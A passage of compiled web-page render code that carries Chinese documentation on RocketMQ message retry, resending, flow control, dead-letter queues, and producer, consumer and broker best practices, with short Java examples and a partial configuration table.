"),s("ul",[s("li",[t._v("由于消息本身的原因,例如反序列化失败,消息数据本身无法处理(例如话费充值,当前消息的手机号被注销,无法充值)等。这种错误通常需要跳过这条消息,再消费其它消息,而这条失败的消息即使立刻重试消费,99%也不成功,所以最好提供一种定时重试机制,即过10秒后再重试。")]),t._v(" "),s("li",[t._v("由于依赖的下游应用服务不可用,例如db连接不可用,外系统网络不可达等。遇到这种错误,即使跳过当前失败的消息,消费其他消息同样也会报错。这种情况建议应用sleep 30s,再消费下一条消息,这样可以减轻Broker重试消息的压力。")])]),t._v(" "),s("p",[t._v("RocketMQ会为每个消费组都设置一个Topic名称为“%RETRY%+consumerGroup”的重试队列(这里需要注意的是,这个Topic的重试队列是针对消费组,而不是针对每个Topic设置的),用于暂时保存因为各种异常而导致Consumer端无法消费的消息。")]),t._v(" "),s("p",[t._v("考虑到异常恢复起来需要一些时间,会为重试队列设置多个重试级别,每个重试级别都有与之对应的重新投递延时,重试次数越多投递延时就越大。RocketMQ对于重试消息的处理是先保存至Topic名称为“SCHEDULE_TOPIC_XXXX”的延迟队列中,后台定时任务按照对应的时间进行Delay后重新保存至“%RETRY%+consumerGroup”的重试队列中。")]),t._v(" "),s("h3",{attrs:{id:"消息重投"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息重投"}},[t._v("#")]),t._v(" 消息重投")]),t._v(" "),s("p",[t._v("生产者在发送消息时,同步消息失败会重投,异步消息有重试,oneway没有任何保证。消息重投保证消息尽可能发送成功、不丢失,但可能会造成消息重复,消息重复在RocketMQ中是无法避免的问题。消息重复在一般情况下不会发生,当出现消息量大、网络抖动,消息重复就会是大概率事件。另外,生产者主动重发、consumer负载变化也会导致重复消息。如下方法可以设置消息重试策略:")]),t._v(" "),s("ul",[s("li",[t._v("retryTimesWhenSendFailed:同步发送失败重投次数,默认为2,因此生产者会最多尝试发送retryTimesWhenSendFailed + 1次。不会选择上次失败的broker,尝试向其他broker发送,最大程度保证消息不丢。超过重投次数,抛出异常,由客户端保证消息不丢。当出现RemotingException、MQClientException和部分MQBrokerException时会重投。")]),t._v(" "),s("li",[t._v("retryTimesWhenSendAsyncFailed:异步发送失败重试次数,异步重试不会选择其他broker,仅在同一个broker上做重试,不保证消息不丢。")]),t._v(" "),s("li",[t._v("retryAnotherBrokerWhenNotStoreOK:消息刷盘(主或备)超时或slave不可用(返回状态非SEND_OK),是否尝试发送到其他broker,默认false。十分重要消息可以开启。")])]),t._v(" "),s("h3",{attrs:{id:"流量控制"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#流量控制"}},[t._v("#")]),t._v(" 流量控制")]),t._v(" "),s("p",[t._v("生产者流控,因为broker处理能力达到瓶颈;消费者流控,因为消费能力达到瓶颈。")]),t._v(" "),s("p",[t._v("生产者流控:")]),t._v(" "),s("ul",[s("li",[t._v("commitLog文件被锁时间超过osPageCacheBusyTimeOutMills时,参数默认为1000ms,返回流控。")]),t._v(" "),s("li",[t._v("如果开启transientStorePoolEnable == true,且broker为异步刷盘的主机,且transientStorePool中资源不足,拒绝当前send请求,返回流控。")]),t._v(" "),s("li",[t._v("broker每隔10ms检查send请求队列头部请求的等待时间,如果超过waitTimeMillsInSendQueue,默认200ms,拒绝当前send请求,返回流控。")]),t._v(" "),s("li",[t._v("broker通过拒绝send 请求方式实现流量控制。")])]),t._v(" "),s("p",[t._v("注意,生产者流控,不会尝试消息重投。")]),t._v(" "),s("p",[t._v("消费者流控:")]),t._v(" "),s("ul",[s("li",[t._v("消费者本地缓存消息数超过pullThresholdForQueue时,默认1000。")]),t._v(" "),s("li",[t._v("消费者本地缓存消息大小超过pullThresholdSizeForQueue时,默认100MB。")]),t._v(" "),s("li",[t._v("消费者本地缓存消息跨度超过consumeConcurrentlyMaxSpan时,默认2000。")])]),t._v(" "),s("p",[t._v("消费者流控的结果是降低拉取频率。")]),t._v(" "),s("h3",{attrs:{id:"死信队列"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#死信队列"}},[t._v("#")]),t._v(" 死信队列")]),t._v(" "),s("p",[t._v("死信队列用于处理无法被正常消费的消息。当一条消息初次消费失败,消息队列会自动进行消息重试;达到最大重试次数后,若消费依然失败,则表明消费者在正常情况下无法正确地消费该消息,此时,消息队列 不会立刻将消息丢弃,而是将其发送到该消费者对应的特殊队列中。")]),t._v(" "),s("p",[t._v("RocketMQ将这种正常情况下无法被消费的消息称为死信消息(Dead-Letter Message),将存储死信消息的特殊队列称为死信队列(Dead-Letter Queue)。在RocketMQ中,可以通过使用console控制台对死信队列中的消息进行重发来使得消费者实例再次进行消费。")]),t._v(" "),s("h2",{attrs:{id:"rocketmq最佳实践"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq最佳实践"}},[t._v("#")]),t._v(" RocketMQ最佳实践")]),t._v(" "),s("h3",{attrs:{id:"生产者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#生产者"}},[t._v("#")]),t._v(" 生产者")]),t._v(" "),s("h4",{attrs:{id:"发送消息注意事项"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#发送消息注意事项"}},[t._v("#")]),t._v(" 发送消息注意事项")]),t._v(" "),s("p",[s("strong",[t._v("Tags的使用")])]),t._v(" "),s("p",[t._v('一个应用尽可能用一个Topic,而消息子类型则可以用tags来标识。tags可以由应用自由设置,只有生产者在发送消息设置了tags,消费方在订阅消息时才可以利用tags通过broker做消息过滤:message.setTags("TagA")。')]),t._v(" "),s("p",[s("strong",[t._v("Keys的使用")])]),t._v(" "),s("p",[t._v("每个消息在业务层面的唯一标识码要设置到keys字段,方便将来定位消息丢失问题。服务器会为每个消息创建索引(哈希索引),应用可以通过topic、key来查询这条消息内容,以及消息被谁消费。由于是哈希索引,请务必保证key尽可能唯一,这样可以避免潜在的哈希冲突。")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 订单Id ")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),t._v(" orderId "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"20034568923546"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \nmessage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setKeys")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("orderId"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[s("strong",[t._v("日志的打印")])]),t._v(" "),s("p",[t._v("消息发送成功或者失败要打印消息日志,务必要打印SendResult和key字段。send消息方法只要不抛异常,就代表发送成功。发送成功会有多个状态,在sendResult里定义。以下对每个状态进行说明:")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("SEND_OK")])])]),t._v(" "),s("p",[t._v("消息发送成功。要注意的是消息发送成功也不意味着它是可靠的。要确保不会丢失任何消息,还应启用同步Master服务器或同步刷盘,即SYNC_MASTER或SYNC_FLUSH。")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("FLUSH_DISK_TIMEOUT")])])]),t._v(" "),s("p",[t._v("消息发送成功但是服务器刷盘超时。此时消息已经进入服务器队列(内存),只有服务器宕机,消息才会丢失。消息存储配置参数中可以设置刷盘方式和同步刷盘时间长度,如果Broker服务器设置了刷盘方式为同步刷盘,即FlushDiskType=SYNC_FLUSH(默认为异步刷盘方式),当Broker服务器未在同步刷盘时间内(默认为5s)完成刷盘,则将返回该状态——刷盘超时。")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("FLUSH_SLAVE_TIMEOUT")])])]),t._v(" "),s("p",[t._v("消息发送成功,但是服务器同步到Slave时超时。此时消息已经进入服务器队列,只有服务器宕机,消息才会丢失。如果Broker服务器的角色是同步Master,即SYNC_MASTER(默认是异步Master即ASYNC_MASTER),并且从Broker服务器未在同步刷盘时间(默认为5秒)内完成与主服务器的同步,则将返回该状态——数据同步到Slave服务器超时。")]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("SLAVE_NOT_AVAILABLE")])])]),t._v(" "),s("p",[t._v("消息发送成功,但是此时Slave不可用。如果Broker服务器的角色是同步Master,即SYNC_MASTER(默认是异步Master服务器即ASYNC_MASTER),但没有配置slave Broker服务器,则将返回该状态——无Slave服务器可用。")]),t._v(" "),s("h4",{attrs:{id:"消息发送失败处理方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息发送失败处理方式"}},[t._v("#")]),t._v(" 消息发送失败处理方式")]),t._v(" "),s("p",[t._v("Producer的send方法本身支持内部重试,重试逻辑如下:")]),t._v(" "),s("ul",[s("li",[t._v("至多重试2次。")]),t._v(" "),s("li",[t._v("如果同步模式发送失败,则轮转到下一个Broker,如果异步模式发送失败,则只会在当前Broker进行重试。这个方法的总耗时时间不超过sendMsgTimeout设置的值,默认10s。")]),t._v(" "),s("li",[t._v("如果本身向broker发送消息产生超时异常,就不会再重试。")])]),t._v(" "),s("p",[t._v("以上策略也是在一定程度上保证了消息可以发送成功。如果业务对消息可靠性要求比较高,建议应用增加相应的重试逻辑:比如调用send同步方法发送失败时,则尝试将消息存储到db,然后由后台线程定时重试,确保消息一定到达Broker。")]),t._v(" "),s("p",[t._v("上述db重试方式为什么没有集成到MQ客户端内部做,而是要求应用自己去完成,主要基于以下几点考虑:首先,MQ的客户端设计为无状态模式,方便任意的水平扩展,且对机器资源的消耗仅仅是cpu、内存、网络。其次,如果MQ客户端内部集成一个KV存储模块,那么数据只有同步落盘才能较可靠,而同步落盘本身性能开销较大,所以通常会采用异步落盘,又由于应用关闭过程不受MQ运维人员控制,可能经常会发生 kill -9 这样暴力方式关闭,造成数据没有及时落盘而丢失。第三,Producer所在机器的可靠性较低,一般为虚拟机,不适合存储重要数据。综上,建议重试过程交由应用来控制。")]),t._v(" "),s("h4",{attrs:{id:"选择oneway形式发送"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#选择oneway形式发送"}},[t._v("#")]),t._v(" 选择oneway形式发送")]),t._v(" "),s("p",[t._v("通常消息的发送是这样一个过程:")]),t._v(" "),s("ul",[s("li",[t._v("客户端发送请求到服务器")]),t._v(" "),s("li",[t._v("服务器处理请求")]),t._v(" "),s("li",[t._v("服务器向客户端返回应答")])]),t._v(" "),s("p",[t._v("所以,一次消息发送的耗时时间是上述三个步骤的总和,而某些场景要求耗时非常短,但是对可靠性要求并不高,例如日志收集类应用,此类应用可以采用oneway形式调用,oneway形式只发送请求不等待应答,而发送请求在客户端实现层面仅仅是一个操作系统系统调用的开销,即将数据写入客户端的socket缓冲区,此过程耗时通常在微秒级。")]),t._v(" "),s("h3",{attrs:{id:"消费者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费者"}},[t._v("#")]),t._v(" 消费者")]),t._v(" "),s("h4",{attrs:{id:"消费过程幂等"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费过程幂等"}},[t._v("#")]),t._v(" 消费过程幂等")]),t._v(" "),s("p",[t._v("RocketMQ无法避免消息重复(Exactly-Once),所以如果业务对消费重复非常敏感,务必要在业务层面进行去重处理。可以借助关系数据库进行去重。首先需要确定消息的唯一键,可以是msgId,也可以是消息内容中的唯一标识字段,例如订单Id等。在消费之前判断唯一键是否在关系数据库中存在。如果不存在则插入,并消费,否则跳过。(实际过程要考虑原子性问题,判断是否存在可以尝试插入,如果报主键冲突,则插入失败,直接跳过)")]),t._v(" "),s("p",[t._v("msgId一定是全局唯一标识符,但是实际使用中,可能会存在相同的消息有两个不同msgId的情况(消费者主动重发、因客户端重投机制导致的重复等),这种情况就需要使业务字段进行重复消费。")]),t._v(" "),s("h4",{attrs:{id:"消费速度慢的处理方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费速度慢的处理方式"}},[t._v("#")]),t._v(" 消费速度慢的处理方式")]),t._v(" "),s("p",[s("strong",[t._v("提高消费并行度")])]),t._v(" "),s("p",[t._v("绝大部分消息消费行为都属于 IO 密集型,即可能是操作数据库,或者调用 RPC,这类消费行为的消费速度在于后端数据库或者外系统的吞吐量,通过增加消费并行度,可以提高总的消费吞吐量,但是并行度增加到一定程度,反而会下降。所以,应用必须要设置合理的并行度。 如下有几种修改消费并行度的方法:")]),t._v(" "),s("ul",[s("li",[t._v("同一个 ConsumerGroup 下,通过增加 Consumer 实例数量来提高并行度(需要注意的是超过订阅队列数的 Consumer 实例无效)。可以通过加机器,或者在已有机器启动多个进程的方式。")]),t._v(" "),s("li",[t._v("提高单个 Consumer 的消费并行线程,通过修改参数 consumeThreadMin、consumeThreadMax实现。")])]),t._v(" "),s("p",[s("strong",[t._v("批量方式消费")])]),t._v(" "),s("p",[t._v("某些业务流程如果支持批量方式消费,则可以很大程度上提高消费吞吐量,例如订单扣款类应用,一次处理一个订单耗时 1 s,一次处理 10 个订单可能也只耗时 2 s,这样即可大幅度提高消费的吞吐量,通过设置 consumer的 consumeMessageBatchMaxSize 返个参数,默认是 1,即一次只消费一条消息,例如设置为 N,那么每次消费的消息数小于等于 N。")]),t._v(" "),s("p",[s("strong",[t._v("跳过非重要消息")])]),t._v(" "),s("p",[t._v("发生消息堆积时,如果消费速度一直追不上发送速度,如果业务对数据要求不高的话,可以选择丢弃不重要的消息。例如,当某个队列的消息数堆积到100000条以上,则尝试丢弃部分或全部消息,这样就可以快速追上发送消息的速度。示例代码如下:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("consumeMessage")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("List")]),s("span",{pre:!0,attrs:{class:"token generics"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("MessageExt")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyContext")]),t._v(" context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("long")]),t._v(" offset "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("get")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("0")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getQueueOffset")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),t._v(" maxOffset "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("\n msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("get")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("0")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getProperty")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Message")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("PROPERTY_MAX_OFFSET")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("long")]),t._v(" diff "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Long")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("parseLong")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("maxOffset"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v(" offset"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("if")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("diff "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("100000")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// TODO 消息堆积情况的特殊处理")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("CONSUME_SUCCESS")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// TODO 正常消费过程")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("CONSUME_SUCCESS")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br")])]),s("p",[s("strong",[t._v("优化每条消息消费过程")])]),t._v(" "),s("p",[t._v("举例如下,某条消息的消费过程如下:")]),t._v(" "),s("ul",[s("li",[t._v("根据消息从 DB 查询【数据 1】")]),t._v(" "),s("li",[t._v("根据消息从 DB 查询【数据 2】")]),t._v(" "),s("li",[t._v("复杂的业务计算")]),t._v(" "),s("li",[t._v("向 DB 插入【数据 3】")]),t._v(" "),s("li",[t._v("向 DB 插入【数据 4】")])]),t._v(" "),s("p",[t._v("这条消息的消费过程中有4次与 DB的 交互,如果按照每次 5ms 计算,那么总共耗时 20ms,假设业务计算耗时 5ms,那么总过耗时 25ms,所以如果能把 4 次 DB 交互优化为 2 次,那么总耗时就可以优化到 15ms,即总体性能提高了 40%。所以应用如果对时延敏感的话,可以把DB部署在SSD硬盘,相比于SCSI磁盘,前者的RT会小很多。")]),t._v(" "),s("h4",{attrs:{id:"消费打印日志"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费打印日志"}},[t._v("#")]),t._v(" 消费打印日志")]),t._v(" "),s("p",[t._v("如果消息量较少,建议在消费入口方法打印消息,消费耗时等,方便后续排查问题。")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("consumeMessage")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("List")]),s("span",{pre:!0,attrs:{class:"token generics"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("MessageExt")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyContext")]),t._v(" context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n log"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("info")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"RECEIVE_MSG_BEGIN: "')]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" msgs"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("toString")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// TODO 正常消费过程")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ConsumeConcurrentlyStatus")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("CONSUME_SUCCESS")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br")])]),s("p",[t._v("如果能打印每条消息消费耗时,那么在排查消费慢等线上问题时,会更方便。")]),t._v(" "),s("h4",{attrs:{id:"其他消费建议"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#其他消费建议"}},[t._v("#")]),t._v(" 其他消费建议")]),t._v(" "),s("p",[s("strong",[t._v("关于消费者和订阅")])]),t._v(" "),s("p",[t._v("第一件需要注意的事情是,不同的消费者组可以独立的消费一些 topic,并且每个消费者组都有自己的消费偏移量,请确保同一组内的每个消费者订阅信息保持一致。")]),t._v(" "),s("p",[s("strong",[t._v("关于有序消息")])]),t._v(" "),s("p",[t._v("消费者将锁定每个消息队列,以确保他们被逐个消费,虽然这将会导致性能下降,但是当你关心消息顺序的时候会很有用。我们不建议抛出异常,你可以返回 ConsumeOrderlyStatus.SUSPEND_CURRENT_QUEUE_A_MOMENT 作为替代。")]),t._v(" "),s("p",[s("strong",[t._v("关于并发消费")])]),t._v(" "),s("p",[t._v("顾名思义,消费者将并发消费这些消息,建议你使用它来获得良好性能,我们不建议抛出异常,你可以返回 ConsumeConcurrentlyStatus.RECONSUME_LATER 作为替代。")]),t._v(" "),s("p",[s("strong",[t._v("关于消费状态Consume Status")])]),t._v(" "),s("p",[t._v("对于并发的消费监听器,你可以返回 RECONSUME_LATER 来通知消费者现在不能消费这条消息,并且希望可以稍后重新消费它。然后,你可以继续消费其他消息。对于有序的消息监听器,因为你关心它的顺序,所以不能跳过消息,但是你可以返回SUSPEND_CURRENT_QUEUE_A_MOMENT 告诉消费者等待片刻。")]),t._v(" "),s("p",[s("strong",[t._v("关于Blocking")])]),t._v(" "),s("p",[t._v("不建议阻塞监听器,因为它会阻塞线程池,并最终可能会终止消费进程")]),t._v(" "),s("p",[s("strong",[t._v("关于线程数设置")])]),t._v(" "),s("p",[t._v("消费者使用 ThreadPoolExecutor 在内部对消息进行消费,所以你可以通过设置 setConsumeThreadMin 或 setConsumeThreadMax 来改变它。")]),t._v(" "),s("p",[s("strong",[t._v("关于消费位点")])]),t._v(" "),s("p",[t._v("当建立一个新的消费者组时,需要决定是否需要消费已经存在于 Broker 中的历史消息CONSUME_FROM_LAST_OFFSET 将会忽略历史消息,并消费之后生成的任何消息。CONSUME_FROM_FIRST_OFFSET 将会消费每个存在于 Broker 中的信息。你也可以使用 CONSUME_FROM_TIMESTAMP 来消费在指定时间戳后产生的消息。")]),t._v(" "),s("h3",{attrs:{id:"broker"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#broker"}},[t._v("#")]),t._v(" Broker")]),t._v(" "),s("h4",{attrs:{id:"broker-角色"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#broker-角色"}},[t._v("#")]),t._v(" Broker 角色")]),t._v(" "),s("p",[t._v("Broker 角色分为 ASYNC_MASTER(异步主机)、SYNC_MASTER(同步主机)以及SLAVE(从机)。如果对消息的可靠性要求比较严格,可以采用 SYNC_MASTER加SLAVE的部署方式。如果对消息可靠性要求不高,可以采用ASYNC_MASTER加SLAVE的部署方式。如果只是测试方便,则可以选择仅ASYNC_MASTER或仅SYNC_MASTER的部署方式。")]),t._v(" "),s("h4",{attrs:{id:"flushdisktype"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#flushdisktype"}},[t._v("#")]),t._v(" FlushDiskType")]),t._v(" "),s("p",[t._v("SYNC_FLUSH(同步刷新)相比于ASYNC_FLUSH(异步处理)会损失很多性能,但是也更可靠,所以需要根据实际的业务场景做好权衡。")]),t._v(" "),s("h4",{attrs:{id:"broker-配置"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#broker-配置"}},[t._v("#")]),t._v(" Broker 配置")]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("listenPort")]),t._v(" "),s("td",[t._v("10911")]),t._v(" "),s("td",[t._v("接受客户端连接的监听端口")])]),t._v(" "),s("tr",[s("td",[t._v("namesrvAddr")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("nameServer 地址")])]),t._v(" "),s("tr",[s("td",[t._v("brokerIP1")]),t._v(" "),s("td",[t._v("网卡的 InetAddress")]),t._v(" "),s("td",[t._v("当前 broker 监听的 IP")])]),t._v(" "),s("tr",[s("td",[t._v("brokerIP2")]),t._v(" "),s("td",[t._v("跟 brokerIP1 一样")]),t._v(" "),s("td",[t._v("存在主从 broker 时,如果在 broker 主节点上配置了 brokerIP2 属性,broker 从节点会连接主节点配置的 brokerIP2 进行同步")])]),t._v(" "),s("tr",[s("td",[t._v("brokerName")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("broker 的名称")])]),t._v(" "),s("tr",[s("td",[t._v("brokerClusterName")]),t._v(" "),s("td",[t._v("DefaultCluster")]),t._v(" 